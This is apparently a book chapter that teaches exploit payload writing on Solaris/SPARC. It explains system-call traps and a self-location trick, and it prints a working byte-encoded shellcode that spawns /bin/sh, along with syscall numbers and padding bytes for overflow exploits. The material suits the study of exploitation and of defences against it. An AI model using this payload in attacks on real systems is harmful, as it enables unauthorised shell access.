SolarisSPARC Shellcode Basics

Solaris/SPARC Shellcode Basics

Solaris on SPARC has a well-defined system call interface similar to that found on other UNIX operating systems. As is the case for almost every other platform, shellcode on Solaris/SPARC traditionally makes use of system calls rather than calling library functions. There are numerous examples of Solaris/SPARC shellcode available online, and most of them have been around for years . If you are looking for something commonly used or simple for exploit development, most of it can be found online; however, if you wish to write your own shellcode the basics will be covered here.

System calls are initiated by a specific system trap, trap eight. Trap eight is correct for all modern versions of Solaris, however SunOS originally used trap zero for system calls. The system call number is specified by the global register %g1 . The first six system call arguments are passed in the output registers %o0 to %o5 as are normal function arguments. Most system calls have less than six arguments, but for the rare few that need additional arguments, these are passed on the stack.

Self-Location Determination and SPARC Shellcode

Most shellcode will need a method for finding its own location in memory in order to reference any strings included. It's possible to avoid this by constructing strings on the fly as part of the code, but this is obviously less efficient and reliable. On x86 architectures, this is easily accomplished by a jump and the call/pop instruction pair. The instructions necessary to accomplish this on SPARC are a little more complicated due to the delay slot and the need to avoid null bytes in shellcode.

The following instruction sequence works well to load the location of the shellcode into the register %o7 , and has been used in SPARC shellcode for years:

1. \x20\xbf\xff\xff // bn, a shellcode 4

2. \x20\xbf\xff\xff// bn, a shellcode

3. \x7f\xff\xff\xff // call shellcode + 4

4. rest of shellcode

The bn,a instruction is an annulled branch never instruction. In other words, these branch instructions are never taken (branch never). This means that the delay slot is always skipped . The call instruction is really a linked jump that stored the value of the current instruction pointer in %o7 .

The order of execution of the above steps is: 1, 3, 4, 2, 4.

This code results in the address of the call instruction being stored in %o7 , and gives the shellcode a way to locate its strings in memory.

Simple SPARC exec Shellcode

The final goal of most shellcode is to execute a command shell from which pretty much anything else can be done. This example will cover some very simple shellcode that executes /bin/sh on Solaris/SPARC.

The exec system call is number 11 on modern Solaris machines. It takes two arguments, the first being a character pointer specifying the filename to execute, and the second being a null- terminated character pointer array specifying file arguments. These arguments will go into %o0 and %o1 respectively, and the system call number will go into %g1 . The following shellcode demonstrates how to do this.

 static char scode[]=   "\x20\xbf\xff\xff"      // 1: bn,a scode - 4                        "\x20\xbf\xff\xff"      // 2: bn,a scode                        "\x7f\xff\xff\xff"      // 3: call scode + 4                        "\x90\x03\xe0\x20"      // 4: add %o7, 32, %o0                        "\x92\x02\x20\x08"      // 5: add %o0, 8, %o1                        "\xd0\x22\x20\x08"      // 6: st %o0, [%o0 + 8]                        "\xc0\x22\x60\x04"      // 7: st %g0, [%o1 + 4]                        "\xc0\x2a\x20\x07"      // 8: stb %g0, [%o0 + 7]                        "\x82\x10\x20\x0b"      // 9: mov 11, %g1                        "\x91\xd0\x20\x08"      // 10: ta 8                        "/bin/sh";              // 11: shell string 

A line-by-line explanation follows :

1. This familiar code loads the address of the shellcode into %o7 .

2. Location loading code continued .

3. And again.

4. Load the location of /bin/sh into %o0; this will be the first argument to the system call.

5. Load the address of the function argument array into %o1 . This address is 8 bytes past /bin/sh and 1 byte past the end of the shellcode. This will be the second system call argument.

6. Initialize the first member of the argument array ( argv[0] ) to be the string /bin/sh .

7. Set the second member of the argument array to be null, terminating the array ( %g0 is always null).

8. Ensure that the /bin/sh string is properly null terminated by writing a null byte at the correct location.

9. Load the system call number into %g1 ( 11 = SYS_exec ).

10. Execute the system call via trap eight ( ta = trap always).

11. The shell string.

Useful System Calls on Solaris

There are quite a few other system calls that are useful outside of execv; a complete list can be found in /usr/include/sys/syscall.h on a Solaris system. A quick list is provided in Table 10.5.

Table 10.5: Useful System Calls and Associated Numbers

System Call	Number
SYS_open	5
SYS_exec	11
SYS_dup	41
SYS_setreiud	202
SYS_setregid	203
SYS_so_socket	230
SYS_bind	232
SYS_listen	233
SYS_accept	234
SYS_connect	235

NOP and Padding Instructions

To increase exploit reliability and reduce reliance on exact addresses, it's useful to including padding instructions in an exploit payload. The true NOP instruction on SPARC is not really useful for this in most cases. It contains three null bytes, and will not be copied in most string-based overflows. Many instructions are available that can take its place and have the same effect. A few examples are included in Table 10.6.

Table 10.6: NOP Alternatives

Sparc Padding Instruction	BYTE SEQUENCE
sub %g1, %g2, %g0	"\x80\x20\x40\x02"
andcc %l7, %l7, %g0	"\x80\x8d\xc0\x17"
or %g0, 0xfff, %g0	"\x80\x18\x2f\xff"